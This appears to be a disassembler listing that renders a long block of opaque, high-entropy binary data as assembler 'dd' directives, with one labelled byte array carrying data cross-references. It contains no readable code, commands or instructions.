		dd 8F7E36A0h, 0CEC9DDB7h, 8F6F012Bh, 0D8CC2956h, 60BB000Ch
		dd 701B126Dh, 0A6019A3Fh, 0D0D9515Ah, 5260D798h, 0B1D10ECDh
		dd 809FF6A9h, 27161720h, 66066833h, 1D702C46h, 21FD6008h
		dd 94273EB0h, 0AE447E03h, 10E7EF34h, 6FDF850h, 5C72522Ah
		dd 0CF23680h, 0C446D8A8h, 3A351C70h, 0EF11E3DEh, 3618AD0Bh
		dd 0AE824C80h, 84483DE1h, 18223983h, 0F788D86Ch, 0B6700A6h
		dd 18EC29EFh, 56016B69h, 6DD4E9E8h, 18B1EE5Fh, 0D02E5A51h
		dd 4960F250h, 0A0BE4011h, 0B3C400AFh, 0ABBAE7F6h, 4160E67Dh
		dd 0A0C60121h, 45B8003Dh, 49F0B77Bh, 97306E55h,	0A42C58FEh
		dd 0B270FF03h, 0B3CB010Ch, 402E8252h, 0BAE4528Fh, 11360630h
		dd 88A5DE3Ch, 0FEA380E8h
		dd 364E1E35h, 0DE18AA00h, 11276870h, 1028A374h,	594A60h
		dd 664E61DFh, 5421C2h, 58DBD038h, 4DF18E41h, 46001E76h
		dd 892659BAh, 263CAD9h,	22A25F7Dh, 8F40FB7Bh, 1F009B40h
		dd 0D1A4946Ah, 0E899B195h, 10E700D2h, 8895912h,	5400F3F5h
		dd 0B19C0615h, 71FF67h,	254B6323h, 26B65847h, 8909AE64h
		dd 50CEE2Eh, 0C110E271h, 0A9EF300h, 0A7DC55AFh,	7E5F0950h
		dd 71006652h, 13D81605h, 0FAC1270Ch, 44A829B0h,	404423A0h
		dd 84DF44CAh, 0EB54A744h, 10626611h, 113DEFEh, 0C29D4CBCh
		dd 0E42F3A91h, 2500DB3Ch, 0F3D27D9Ch, 205D9EF7h, 192231A5h
		dd 3BAA2210h, 0F09E8310h, 6604B121h, 76088A69h,	24A3ED42h
		dd 0CB962765h, 19A24251h, 5979565Ah, 0D1441F08h, 0DAA1C74Eh
		dd 0E96D00FBh, 0F007D70Eh, 600797D1h, 4ACDA6F0h, 512B03FEh
		dd 82FD68BDh, 7F1063EFh, 0AE70858Dh, 616C8100h,	3F9EF93h
		dd 4CFDAD8Ch, 0DF988E44h, 1600744Dh, 0F730295h,	3CF0FA64h
		dd 3100962Fh, 1DD5EE71h, 0D700CC7Dh, 0A475DDE9h, 5F0FBh
		dd 0FFDB63F2h, 0C0558418h, 87493300h, 0D1C101FDh, 6A560FC4h
		dd 0ED00A0FCh, 450998B3h, 0C7643000h, 14C263D8h, 0FFD40022h
		dd 36721EB5h, 2607BA5Ah, 18DFB4Eh, 0E2B91370h, 3E070021h
		dd 0DC1C4394h, 200E6F47h, 768E57h, 4F3419F4h, 0ED290EA9h
		dd 5CC0EAEEh, 53403533h, 63DB9F1Ch, 76C85DC0h, 31F181Ch
		dd 91370B3Bh, 88110323h, 0DB00F52Fh, 0EE3CDC9Eh, 2A00854Bh
		dd 80057E89h, 0E0389Bh,	0C3415BCh, 21BB68CFh, 990EE973h
		dd 608492C0h, 8E74D918h, 50F41724h, 0A4430001h,	167922D0h
		dd 0C35FA000h, 0B215FC3Eh, 0EB0E00DFh, 0FB41CE7Eh, 5A011819h
		dd 0FF9B99E9h, 0E4D8FA28h, 0FE8500F7h, 0A3D38434h, 0BD0331D7h
		dd 1CF27F9Ch, 5B1A00B9h, 1DE58E8Ch, 0F10E6FF0h,	20058D90h
		dd 1AB111EBh, 0C23C00EFh, 31BC204Bh, 711EE8A8h,	4600598Ah
		dd 358E6598h, 8DEF0026h, 43714BDh, 0C20FEAD4h, 0C7D338AAh
		dd 81B0B149h, 0CA2AA2h,	621CF403h, 0DBA40E45h, 0CB902707h
		dd 2EB01064h, 0B17AD9h,	0DA02F803h, 4BEA2F6h, 0BA401300h
		dd 5DD1873h, 0B2D3162Ah, 0F5ED0145h, 0DCB92E10h, 78012F87h
		dd 0ECF2EE0Dh, 0DCC8DE3Eh, 0BAA1009Dh, 49D4B337h, 47F0E218h
		dd 2EA6DA00h, 65F05B70h, 0C8A21C1Ch, 9ED61DE0h,	3A98BE44h
		dd 38206CE8h, 56C2DE00h, 0C33076AAh, 82910301h,	0F4A0A96h
		dd 0E43D2100h, 40246145h, 18E54835h, 90B2EC00h,	1BF9DD82h
		dd 0D208EA09h, 11000BCh, 0E8BBE39Ch, 0E6760205h, 0DAA3D604h
		dd 0EB3A1840h, 0E27E3414h, 9DC902FCh, 486378C1h, 388CF804h
		dd 0B412B5BEh, 41A70052h, 602838B8h, 0DE47DD00h, 5EE8D8ABh
		dd 58F439h, 6BD72CFEh, 0BBBF77EEh, 420716F4h, 9A4DC15Ch
		dd 21E3C800h, 0F8B0C08Eh, 77842CA6h, 26E96418h,	17346D8h
		dd 9DE6D335h, 0C8BE4CEEh, 760078EFh, 863F5BBh, 99D5CCh
		dd 0A619D264h, 0C757BAA0h, 0C6B88707h, 58505DFCh, 260E6E6Ah
		dd 4A4043h, 1A328D1Bh, 0A9FC9ADFh, 7C02C100h, 84E10B0Ah
		dd 3A090E3h, 0C49BB834h, 2C804CBDh, 75009EFEh, 0E17C0E03h
		dd 27E0D6h, 490239EBh, 0A65F100Fh, 8D427600h, 0EBFE5E3h
		dd 368B0061h, 0CC85F5C3h, 5D02C292h, 40D67580h,	0B8C080FAh
		dd 1E61B50Eh, 80C05898h, 1EE2100Bh, 0EC732477h,	5C00A6D2h
		dd 7C6D69D4h, 6A2F0057h, 0A924CEA1h, 900E0FFh, 0EA47A53Eh
		dd 0BCF419h, 3FBAD8CDh,	0F184D7DCh, 4A444E00h, 0EE6F628h
		dd 0C1807DDh, 132F93AAh, 0D2C0EE13h, 9501EFF1h,	0CFC10238h
		dd 2E205983h, 0E68F812h, 0D528CE0Ch, 0D551740h,	6D00B47Eh
		dd 316FE887h, 0A31D5Dh,	0EEB3EA01h, 2FD54102h, 7E934000h
		dd 0ECE77634h, 0EB08005Ah, 78519C10h, 9D00827Fh, 981DAD6Ah
		dd 0AF9762h, 40F6B3D5h,	0D10B9604h, 0F7BB5A00h,	0B8BA93A1h
		dd 6BCF01CBh, 111B52AAh, 8C7AC469h, 44753202h, 74E8E3F2h
		dd 12F88079h, 2965C5ABh, 0CEEDF31Dh, 59786FC0h,	48A27DA1h
		dd 0C624DB44h, 3D310077h, 3B9BBF36h, 1F3EB900h,	0A8AC0BBCh
		dd 8D531D5Eh, 0DECDFh, 5F403708h, 0C20033A5h, 6C745C31h
		dd 92306Ah, 601EA6A8h, 69D65DD0h, 77E8DC00h, 0E4CA824Ah
		dd 0B77607B0h, 5F36DDACh, 12254E20h, 1600E3B9h,	0B3FFA0F9h
		dd 70A4D3A2h, 0AA8B0010h, 0A8F85EA5h, 0ECFD3E8Dh, 0D71E313Dh
		dd 0A04113CAh, 62AFAE46h, 1EE420h, 3F9E9658h, 0ECB26843h
		dd 34002E79h, 7547E035h, 0D85F9Fh, 5C6B0DD1h, 1844F96Eh
		dd 0B9E69C3Fh, 6DC180ACh, 4EE49164h, 142E0FFDh,	433DFA8Bh
		dd 0C61E8708h, 366EA3E8h, 6A7353Ch, 0AE183F78h,	0BDC30028h
		dd 7AB097B5h, 940023C5h, 3A413175h, 49835Fh, 86844AACh
		dd 1140DADh, 8094E01Ch,	36C0D41Fh, 8E9513F4h, 0AD700CDh
		dd 0FACBFCEEh, 3300E072h, 0C367738h, 6DC390h, 354AC6E8h
		dd 0D8B11F69h, 33FCA000h, 2270ACDFh, 0C2770054h, 1E92652Eh
		dd 0D0789C4h, 9B6C418Ch, 33BE860h, 0B1F207ACh, 0C0E349CEh
		dd 36156D01h, 0C0C784A0h, 30C2BC00h, 7141275Fh,	87E80063h
		dd 9BF61082h, 94005322h, 0F0453691h, 16EE0F09h,	1D923FB3h
		dd 753E8028h, 4AEDC254h, 7B6B6A07h, 7D808877h, 1EFAC71Bh
		dd 14D9ABC9h, 0A583E8F6h, 31009225h, 94B06B3Bh,	0C9765B7h
		dd 0A8FD751Ah, 4B00E2F8h, 53F3DFD4h, 48A324Fh, 33B211D5h
		dd 25A78012h, 60F17A2h,	80965D3Eh, 0E09AD33Dh, 6C070034h
		dd 31797AC1h, 5500E7D8h, 1BBEC208h, 60C489h, 0AE59EAF2h
		dd 0C96F6668h, 0B7F8E500h, 0E7480DF6h, 77F6A7h,	7255065Fh
		dd 0D7ABCFB3h, 90699500h, 8D75047Eh, 1486011Ch,	0A66711F8h
		dd 0F08A7060h, 93567B00h, 741615ECh, 6C42095Bh,	2C00E3BEh
		dd 329176DAh, 8DDD5400h, 4526C1FEh, 66200071h, 51CBCFD2h
		dd 0A624F006h, 1500349Dh, 0C001E5CDh, 0DAE00E0h, 0A180925h
		dd 0C70317E7h, 99605CB0h, 8074809Ch, 35C200DBh,	2B713070h
		dd 1F0ECE49h, 0A143A877h, 0CD5CA566h, 75909F8h,	80F433F6h
		dd 73C5B021h, 3E00BEC8h, 5F0B394Bh, 0E06B5532h,	0DB4E001Bh
		dd 0B0A4FC53h, 8D0E059Ch, 0E071C6DDh, 15F98B29h, 0D7B801EFh
		dd 6DB93A0Eh, 646C7048h, 0BF1D52B0h, 8807D835h,	0A920B109h
		dd 0B60EE9Fh, 81213FD1h, 0FEC65C03h, 0EB77E98h,	0CD830A00h
		dd 32132A9Ah, 0D15001BDh, 309E9F6Fh, 0AD6E8303h, 0A0C9893Bh
		dd 12572A2h, 85E6D58Ch,	0C4F02616h, 6D240B50h, 62809C29h
		dd 51A6FC39h, 2D7300BCh, 9DE35594h, 0E93E2AC9h,	4CA98007h
		dd 7E3BB076h, 0E1740DF1h, 0C03288DAh, 0DE006F04h, 677ACDDh
		dd 2435B678h, 29C6219h,	3351C93Dh, 56804B05h, 9B2FD01h
		dd 2485ADCFh, 36950080h, 0B1001EF1h, 4B7EC428h,	0ECDD58B7h
		dd 0B9051272h, 99500009h, 8618068h, 965E5900h, 53BC9047h
		dd 5C9C0EDEh, 0B040859Eh, 0F4786186h, 0A9D4C300h, 23C4F04Fh
		dd 2F7344h, 0C980B23Bh,	77852948h, 0CAC79000h, 0D43F27B5h
		dd 926E41Eh, 0A3B9D633h, 716FC000h, 0F601855Ah,	60DA21Ah
		dd 9840C311h, 0EC28A4h,	0A0832035h, 279443D0h, 0A33FB003h
		dd 0D07170F1h, 240F97E2h, 5F31ADh, 0FDEEAFD3h, 69311AA7h
		dd 0DD9660FCh, 0AE2D0h,	4ACC1759h, 2678D3FBh, 0FD037F7Ah
		dd 6BBA6AD5h, 0E0D02177h, 2D28F580h, 7219Ah, 0B4C5D096h
		dd 0D4FA7FDAh, 8015BC38h
		dd 412A0B7h, 23091Ah, 0DED5220Eh, 0F89CE278h, 0D44D9500h
		dd 87527B7Fh, 0A2320B7Ah, 6980CB9Ah, 55A3C410h,	2D0D1807h
		dd 800939E1h, 4A6989FDh, 1BCC1E4Dh, 74BA002Fh, 0F5039DCAh
		dd 3A86AD18h, 0A72EA8h,	4B8BD60h, 7DE6C7E9h, 8185100h
		dd 3579D88Ch, 1D401E47h, 0CB04C05Ch, 434FD6B0h,	0E28AE700h
		dd 48B969B6h, 4C8D1C57h, 0B2C5000Ah, 0D5FBA0CAh, 6D265900h
		dd 390523AEh, 29EF0CDBh, 0C24479C7h, 1FDF8301h,	7FAA9198h
		dd 323E5FCh, 562C2577h,	15C36D21h, 42F07583h, 39035D44h
		dd 484CFBAAh, 31618028h, 35C0090h, 14351C43h, 0E89880D7h
		dd 494C0202h, 80DF4A20h, 9F0D6CC4h, 0DA612CD8h,	63A0005Eh
		dd 0B21D149Ch, 51AC11Bh, 5BA0FF64h, 2F45A340h, 54789254h
		dd 0E4048E7Fh, 2E77882Ah, 0C0E498h, 0BFD7D839h,	0E3FE8A79h
		dd 0EECB4100h, 7EC1D0A5h, 46D7824h, 2C035110h, 5C4481A2h
		dd 0D8B2F5D8h, 1A38F75Eh, 0E7730312h, 88618396h, 3B26AF20h
		dd 0EE80DA0Ah, 757CA42Dh, 0F0029BCh, 56933060h,	11B68C6h
		dd 4FD880DEh, 0FC639295h, 1D18D3CFh, 0ED588AA9h, 5D0002Ch
		dd 0FF36F8FCh, 1C00522Ah, 8E9DD526h, 0EA043CADh, 0EF007DEh
		dd 0F0D120D4h, 0DB3E9C95h, 0A6420300h, 0CEB5C7C0h, 0F5BD008Ch
		dd 2C48CCD4h, 2D382958h, 7B7180D0h, 0CA494FC6h,	0A3FD240Ch
		dd 18182B4h, 0EB40DE83h, 4A07587Ch, 0E2760BC1h,	0B4400205h
		dd 0E9F152A3h, 0E0334522h, 531C9B3Bh, 0C5406A3Ch, 78FB5D9Eh
		dd 0D86D1445h, 0FE14AEA3h, 310FB4ABh, 2A00EB53h, 519977F4h
		dd 3F526C00h, 199AE72Dh, 0CECA07E2h, 70C3CDDBh,	6D208239h
		dd 0B0C548h, 959DC880h,	4805E7B4h, 0AE008051h, 39B8E027h
		dd 10076984h, 8FD1FE20h, 0FA571310h, 0C1C700B2h, 84D0E398h
		dd 5600324Ch, 0B65C6CFh, 0E83362h, 0DDAC838h, 45858ACDh
		dd 55803278h, 64A548D9h, 737241Fh, 79BE8h, 0C08987F6h
		dd 12037A72h, 61C964D9h, 0D0D2B0BBh, 703873FCh,	13C00EAh
		dd 0F73E379Fh, 5C04158Dh, 2E727A09h, 529BA8C0h,	390E00F8h
		dd 11E848F1h, 780043BEh, 0FF27FB0Dh, 77BA0647h,	9FA000A9h
		dd 6CC77639h, 80FDDFB7h, 96243048h, 0CBF5F0h, 83510245h
		dd 6367086Ah, 5C184203h, 0C85E26A7h, 0EC6111h, 0A37F062Eh
		dd 20CC5F84h, 48799D00h, 42C1F08Bh, 0A45D1EDCh,	6C22C91Dh
		dd 0D96ED580h, 0F60055ABh, 4AEF9A3Eh, 701AC77Dh, 82DD6732h
		dd 72C0B01Eh, 0EAFCF3E6h, 0B7E5DC07h, 2571822Ch, 0C880F94Fh
		dd 0DB45067Ah, 877A22Fh, 0D9B39407h, 0F8205FDCh, 1C4F2C1h
		dd 599CBE35h, 0FC4AA445h, 0DF0C6B1Ch, 19588627h, 34C11DF1h
		dd 0CFA006Ah, 7D5FAC61h, 49FE50C0h, 3B920385h, 0BB80EE3Fh
		dd 805BB936h, 630746C2h, 0DA9EBAD4h, 35BD0980h,	2E30041Bh
		dd 0C3F101BBh, 0AAA8CFFDh, 680731FFh, 7BC08052h, 6EF774B0h
		dd 0CD120EEAh, 8A160EDh, 0C7561D13h, 52479000h,	0AC7B5168h
		dd 49F0002Bh, 38AE2353h, 0AA0EA3B4h, 8390EA8Ch,	9BF59A4h
		dd 638795A8h, 6ACD5980h, 43F8DA5Fh, 943B2A2Ah, 545E252Fh
		dd 76E2008Dh, 0CF3ABA9Ch, 0EAE07800h, 1DC96249h, 400E02C6h
		dd 28B6228Ch, 0CF73ADE0h, 7C20C313h, 0E79B6101h, 0F2DC2968h
		dd 0CB8400D3h, 6AF730A7h, 5E004501h, 0A3443AA0h, 73D7425h
		dd 50562FA9h, 7D65255h,	75E93C48h, 209D2300h, 48515F19h
		dd 658E04BAh, 8093ECF3h, 7DC19508h, 8001533Ch, 7A0B4FD9h
		dd 39180433h, 88035566h, 5AB8936Eh, 870DF1h, 0E0CEC17h
		dd 285361D3h, 30A4A69Dh, 6F45F70h, 57C85500h, 2BAA0986h
		dd 0F2F80098h, 6D409133h, 3C0EB268h, 12E4FA5h, 0D4B9A025h
		dd 7653EC0h, 0FBDA6A53h, 5A7FF0E5h, 339AFC1h, 0B7FD00DDh
		dd 557A6C63h, 3C5B12C0h, 5F9400A0h, 42A6DC49h, 378E9803h
		dd 0E82A7918h, 0A2FBF2h, 0BFFE4EDh, 6A97CFB5h, 60FC0900h
		dd 0BAD85E95h, 0C380000Ch, 99CD045Fh, 6A00EC54h, 8C82D6D1h
		dd 48471Eh, 9B0A928Ah, 0E0E4BCB0h, 0D4005490h, 0BAB6FEE8h
		dd 0CEA2D7h, 1BFFA6E3h,	0A15AD246h, 0D6541900h,	8876722Ch
		dd 0D8CB0FC6h, 0A5605CF0h, 0F0838BEh, 0A0264C00h, 0E46EF4B7h
		dd 0EC428D3h, 93AE009Eh, 0FE95F94Dh, 9B0EDFD8h,	217D56h
		dd 283D0CA5h, 865A3CF4h, 96174F87h, 455830A8h, 2E3A7141h
		dd 0DC8A001Bh, 81F043E2h, 0D9422474h, 0EB69031Ch, 64772B26h
		dd 1CF3D700h, 0D1053D54h, 0E0D5009Ch, 2C02565Ch, 7B00A0ACh
		dd 9EDCB88Ch, 6E403Ch, 5BAD763Bh, 84327C24h, 62903E00h
		dd 63A67FBh, 8E120074h,	13197BC1h, 0E65E8B34h, 0AC277F81h
		dd 0F04D81DCh, 2D200012h, 3FE4DA33h, 9E00C0F5h,	34DCE28Ch
		dd 1AAD57h, 9825F15Fh, 0D104E81Fh, 438C1703h, 1BD0620h
		dd 0E623DF48h, 822AE9EBh, 0FE65C5C8h, 0FBE0405Dh, 0CCA1484Ah
		dd 5CCFEF01h, 0D92699EBh, 8121B82Bh, 4F3BF946h,	0D0806F2Dh
		dd 7C21442Eh, 9400E9AFh, 9B173CF4h, 2892D5F6h, 0FEF4B9ECh
		dd 7EF20012h, 0E73B96C3h, 7F00FB72h, 0CC81F6B2h, 1A2A12Dh
		dd 1C9A154Ah, 30C4D962h, 0F090E86Fh, 0D3A36C0Eh, 5B7BC0F1h
		dd 18850C78h, 0BC09CB0Fh, 48007F0Ah, 0D8FD5AF9h, 0B86CC1h
		dd 57DB3BFAh, 58135C66h, 794EBD00h, 0F9743531h,	0F42F00A2h
		dd 5E2E6A1Eh, 2400F288h, 0F15AE17Ah, 5ED31F7h, 50D5E0C8h
		dd 0DAE0006Ah, 81907CECh, 56B10500h, 77A47248h,	0FDAD0315h
		dd 7D4D8B23h, 6F6454C8h, 5000C6E6h, 9326EA98h, 793086h
		dd 24FA910Ah, 1A5BB74h,	0F91B3Fh, 0BA725CD9h, 7DA8B4h
		dd 0C312F00Eh, 2B92E9Bh, 248F9F00h, 55FFF438h, 0CCA10020h
		dd 0F652C4AFh, 0AA002639h, 0C041F340h, 15165F8h, 0C51C7B27h
		dd 0C4DC5902h, 5C98182Ch, 704D3500h, 73804BEh, 7BF2F225h
		dd 601C00B7h, 1D999F4Fh, 28036E46h, 7F952CFh, 9870A89Ah
		dd 9C3417A5h, 641507E2h, 0DEA31073h, 0CC003E99h, 2F6977B3h
		dd 1B47CAh, 1EBFA861h, 0DE11C07Dh, 278BB612h, 68E61841h
		dd 9AE8D792h, 9CBB1CAFh, 0DA08C05Ch, 0D31EAD9Eh, 0A14DE500h
		dd 0C37CE026h, 0E8575E6Dh, 0A3007D0Fh, 0CF25282Eh, 0C627F1h
		dd 8EDBF76Fh, 0EF6EC44Eh, 0EA0033FAh, 0DC8280Fh, 1451FCh
		dd 7A4E5910h, 1B778446h, 0FBD08F00h, 3C7440A6h,	4AC213D6h
		dd 0A2B007F3h, 95580013h, 22008A30h, 0B311AAACh, 0E97B884h
		dd 612D1CD4h, 0A0BDD0C7h, 0FA2BCC6h, 560A4103h,	888571E2h
		dd 0E11208h, 9C04A59h, 67AB941Dh, 0A0794113h, 0E6121C72h
		dd 0CE8B0090h, 5583C236h, 0BAD36Fh, 9652B000h, 0B9A54B2Dh
		dd 303B3968h, 0A0ABA4h,	57FF013Ah, 6B0110F8h, 457B4241h
		dd 0C2C813DCh, 1FD40037h, 191488B4h, 0C01D1A58h, 81B9A93Ch
		dd 6899BFABh, 6870EF90h, 709500FAh, 8912E2D1h, 3B02206Eh
		dd 7DDD0443h, 94644181h, 201BC64h, 0C3359D5Fh, 70C2E35Ch
		dd 0B78C8081h, 6CB820C1h, 200E6000h, 9C46EBA3h,	0B0F2E8h
		dd 3CCAE196h, 1E2BB8B2h, 20040F00h, 30FD0244h, 0EA100146h
		dd 9F29CD0Bh, 5E2F3019h, 0CA13EFE8h, 0DA1CAF25h, 6B4E41C0h
		dd 110DB7h, 0C4E21022h,	0D45C13A8h, 0BC7858h, 0F3BB6DF8h
		dd 0C5FA3Fh, 5BD6D0F1h,	0B03B4CCAh, 83DA5800h, 1ABF05E3h
		dd 0E8741CF6h, 567340FDh, 0FC5E46D7h, 1D390638h, 0A91F7A49h
		dd 0B46B54h, 0AC861C27h, 4BA751h, 0F808207Bh, 81291E0Ah
		dd 78D79324h, 75259B04h
		dd 0DFE47090h, 7EC700D9h, 0B703D146h, 8B00F529h, 40AC108Dh
		dd 0C87BF7h, 0F13A455Bh, 8E115016h, 6A1BD50Eh, 1A96E182h
		dd 0B040879Eh, 0FAFE64DDh, 0BAD30315h, 4034665h, 41549800h
		dd 6DC12D87h, 0FA78003Eh, 6B97DEC9h, 0B100FCE0h, 0A43FFA2h
		dd 0F4B6024Eh, 0C5A4011Dh, 3584C973h, 93020C0h,	196A5700h
		dd 74EAAE36h, 76180027h, 8799826Bh, 770A9A1Dh, 0A3437D3Fh
		dd 0FBCEBA01h, 7A3185B2h, 1450E0h, 0BE3F0BABh, 4D707E5Eh
		dd 0D590E605h, 53C28F01h, 8E1C486Dh, 87F400CFh,	0DE7D34E9h
		dd 0CD095460h, 816C4FE7h, 24FFC2E0h, 1E520h, 0AD42FAE8h
		dd 0B3735F3h, 5125BE0Eh, 0DD396729h, 5D1FEE10h,	0AC9248AAh
		dd 9D3DCD03h, 5797A3BEh, 52604041h, 0BBFA68D3h,	78645Ch
		dd 912D0F76h, 9211863Eh, 0E5570054h, 708C896Bh,	24072B1Eh
		dd 8F4E1718h, 0C04A5812h, 2CEF962Ch, 2A455Dh, 5495E3D4h
		dd 0DB0EA4C9h, 3DB406DCh, 0FF53FA00h, 1FE42EAh,	2977390Eh
		dd 61229EBFh, 9355C8DBh, 0C8597B00h, 0BDFC49C9h, 0D3790042h
		dd 5C35CA87h, 3C00A17Ah, 1E81D5A7h, 0EA05FDh, 87BBB285h
		dd 4CB51292h, 407D3179h, 0F790A400h, 6BB11513h,	59410057h
		dd 0A338757Ch, 190733A6h, 2DB84E8Dh, 3D77C693h,	0C84D72B9h
		dd 88554200h, 91447C20h, 9E25AF02h, 8EFE5092h, 82F5C184h
		dd 28613C9Ch, 266CA140h, 0FBEC80h, 33E2AC4Bh, 0B9257642h
		dd 3DA12700h, 32574555h, 4D640029h, 2BBB8ADAh, 3874F047h
		dd 585E5Ch, 6D8E157Fh, 2839229h, 0FBE8BA1Ch, 68504A30h
		dd 20CC0200h, 5D7DA17Fh, 8AC23B80h, 9E9B0399h, 0E5984089h
		dd 95F4C87Eh, 0CE31AE12h, 81037B1Dh, 0F2F75h, 6EA1749h
		dd 9C520757h, 8EEFC503h, 0D88B4291h, 4DB7Ah, 5DFD8A25h
		dd 0FBD244EAh, 33CFF100h, 939B4D50h, 0DB370169h, 0B2784B6Dh
		dd 0AC78BF8Ah, 220087ACh, 727F6FC8h, 8025060Fh,	79B51D75h
		dd 5506F300h, 0DA2E86C9h, 48E97CC1h, 81FB8E5h, 0C15071Ch
		dd 0AC501C88h, 3DEE75B8h, 3334A203h, 0A0B8A443h, 5803C305h
		dd 7C75ADFAh, 0E18D006Eh, 62E77CF1h, 0A809711Fh, 0A0FBADAAh
		dd 0C2BE8C48h, 1BCF02E3h, 23214558h, 0F8795870h, 0BCBEF8E9h
		dd 3300F090h, 5E5D2451h, 981F6DA7h, 58FE3E24h, 5BC50600h
		dd 41F0D1E5h, 24A09B60h, 0A0535C1Fh, 0F2F8EBAFh, 0B3390037h
		dd 0B594CB21h, 6D0EF674h, 232DB4B9h, 3FAD2295h,	1B8E25B0h
		dd 0C60D70Bh, 6D5CC950h, 8657002h, 0C02F3B60h, 28A6E7D0h
		dd 0DAEAD2h, 0CA39B1B9h, 0BD013D59h, 309D931Fh,	22D7C5C0h
		dd 0F6B09C17h, 6A98264Ah, 0DFF8050Fh, 6FF18023h, 0E139F6D2h
		dd 5AF718DAh, 1D4896DCh, 0E9CE59h, 0BF1A826Dh, 6F00AAB3h
		dd 0F1558810h, 0E64B18h, 8DA96943h, 9B498F41h, 0A3EB3E00h
		dd 0D75051CAh, 6C1A1833h, 4C6F9E80h, 0EA22E00h,	29251B3Eh
		dd 0B1E6003Dh, 585C59E0h, 0E71EA321h, 0E80FFDC2h, 0BD1640CBh
		dd 60B055BAh, 1EBB5E62h, 3E1D60A5h, 3B80B481h, 0F0D95167h
		dd 0EAB21CBFh, 6459479Ch, 10FB06D7h, 0B9006EE6h, 1574D1FCh
		dd 98C4F7h, 7DCDB8D8h, 34DA4973h, 5C111F13h, 0CB2EEC00h
		dd 1858DD36h, 0B0E75468h, 0A800F63Fh, 5E9725E6h, 0C7CE94h
		dd 0BA9DD875h, 0D2F589C5h, 3027C407h, 0FE870C21h, 22BC6B50h
		dd 2318003Fh, 0B30E7C2Dh, 84015AA8h, 0C138DE01h, 0CC20AE44h
		dd 752A139Fh, 0F2F500E5h, 30C69EFBh, 10478400h,	9B3D0EA4h
		dd 4EA007Bh, 6D5645B3h,	50076FF2h, 0F3F9ECCFh, 12F800FBh
		dd 1982D8DEh, 5818680Dh, 0F11DF80Ah, 0FDDB1500h, 0FF8057Ah
		dd 3E9200DCh, 0E137B4D7h, 0FF7561A5h, 7AC8126h,	214F7B0Eh
		dd 0F1B317C9h, 964C0DCh, 24D45258h, 3E1E7C00h, 89051F60h
		dd 0CF39EE9Bh, 6950CC80h, 9D2500CDh, 4C623E1Dh,	0A5006ED8h
		dd 3D9AF838h, 106A2E3h,	73535705h, 9FD0ED4Ah, 0EF82A538h
		dd 0C070C8E9h, 7DE2A8DBh, 0FE1000B4h, 3BDCC2CDh, 0D0B8A601h
		dd 20EADF12h, 238FB80Bh, 824990D0h, 0DE0840B9h,	0D74D3A18h
		dd 0FC2C1401h, 0D89304C4h, 0FB01034Ah, 6FF62B5Dh, 0E8200679h
		dd 16FD008Bh, 10DF5C72h, 0C000C70Dh, 19EC2CD8h,	21DA07h
		dd 280C4122h, 975AFA4Ah, 0C8E5A8A0h, 0CCE97200h, 0EF12B7B3h
		dd 0A8563E76h, 0D059AF00h, 0C4F5944Dh, 0E80AD804h, 64C2283Ah
		dd 1374D11Ah, 998043BCh, 9BEB45CAh, 10265588h, 0FF00B0F2h
		dd 5C5F51E6h, 803A19h, 78A27473h, 75A977A8h, 2721D03Ah
		dd 0AEA807F4h, 4B6CFAB0h, 11D10057h, 152AEF75h,	84133A63h
		dd 0F8024E89h, 0C8E6B031h, 84464458h, 3C8C38E5h, 0DFFC84F9h
		db 0CCh
byte_520045	db 8, 80h, 13h		; DATA XREF: ___:004385A0o
					; ___:004385B8o
		dd 0F2BFA98Ah, 0D4700EDh, 0C8D22CB0h, 535C7269h, 1C760249h
		dd 60A8F2A4h, 178050h, 0BB1A6A4Dh, 81904602h, 0C409DF00h
		dd 8B2B74A3h, 1E27CC0h,	615E3669h, 64BB5255h, 10F46A18h
		dd 0C707B21Ch, 0AFAB2D00h, 5C03F329h, 760784CEh, 901681C3h
		dd 75693154h, 0E42CED7Eh, 0BD00B4EBh, 52C71EFFh, 308F07Fh
		dd 86DB3BDEh, 75984A1Bh, 60B1CF41h, 0EA480600h,	758A73C0h
		dd 39E7E87h, 59B3E5C4h,	5000230Eh, 5124494Fh, 13115Dh
		dd 0E93695EEh, 0F90C011Ch, 645F11C7h, 0BA43A471h, 0EAE351E4h
		dd 154E2439h, 0D3833F5Eh, 89AC6655h, 14DF09D8h,	16F0D402h
		dd 60817D19h, 10CCFDh, 8E05290Fh, 5D972138h, 3429A00h
		dd 77619214h, 0E50E00EAh, 0E68CFCDBh, 8B3843E8h, 3839004Eh
		dd 0F3343F44h, 1C890EBCh, 708072C2h, 9AB4A699h,	0DA012E00h
		dd 0E09CA444h, 49DB077Ch, 303E40DDh, 0BE15FD97h, 0BD45E600h
		dd 0F16ECF47h, 0C9232E11h, 38D1D83h, 9DAAD03Fh,	130CC3CCh
		dd 0C46E2D89h, 493F4778h, 3F9400EDh, 0BA4DDFE5h, 0B69A01A7h
		dd 2205B10Eh, 0A01BF031h, 7BECF203h, 0F0CFE958h, 5C91A4h
		dd 0ED0416F5h, 0E102AD96h, 0DE5F2713h, 672DD700h, 865DCBh
		dd 0DDBC8239h, 503179CFh, 8A271C00h, 6DAAA1B6h,	4CCE3838h
		dd 0C1B4A200h, 863D53D8h, 0AC231200h, 28B61CA7h, 4B9F0024h
		dd 5F42E3A1h, 5D0019A3h, 0B4763D8Eh, 1C0C17B5h,	80FBD036h
		dd 0C88CE1EDh, 0FF0116CCh, 0F2234FDh, 55D483CDh, 0F37B0063h
		dd 8B2E4D2Dh, 870020C4h, 145B085Dh, 2408Ah, 57EDE17Eh
		dd 896D0A94h, 0CDE2FB00h, 0E7F9C112h, 8E680047h, 36E9FEB6h
		dd 52004932h, 0BF98FCDAh, 0DAF8Fh, 0D68AC062h, 26079AEAh
		dd 2ED35A09h, 661C2068h, 28FCF36h, 9D2F4A63h, 0F0807A2Ah
		dd 28E6F584h, 0FB211700h, 83E00C6Ah, 1D57591h, 75F30630h
		dd 0DC956264h, 0AB03C6EBh, 0ADC94721h, 78FCF820h, 6F67006Ch
		dd 0B1BE8612h, 0B4038A2Eh, 6D0F36ABh, 0E090D09Eh, 0B73A0043h
		dd 2D639760h, 5D387DA5h, 382E0E78h, 0D6BD0075h,	0EE9CC271h
		dd 0A562072Dh, 50C06195h, 541C2B3Fh, 43369800h,	562A477Ah
		dd 3D040748h, 0D7943BF5h, 0F05BD073h, 0CC00B2BAh, 5CCAF49Dh
		dd 5E2D57h, 911E9A93h, 0CD104A94h, 0A06B3B01h, 0CB1DFAE0h
		dd 1595C3D8h, 942F85E6h, 4632A700h, 5FA05035h, 0A00C479h
		dd 0B82154D4h, 8BD771h,	0F515E6D3h, 0B98231Dh, 53D9B200h
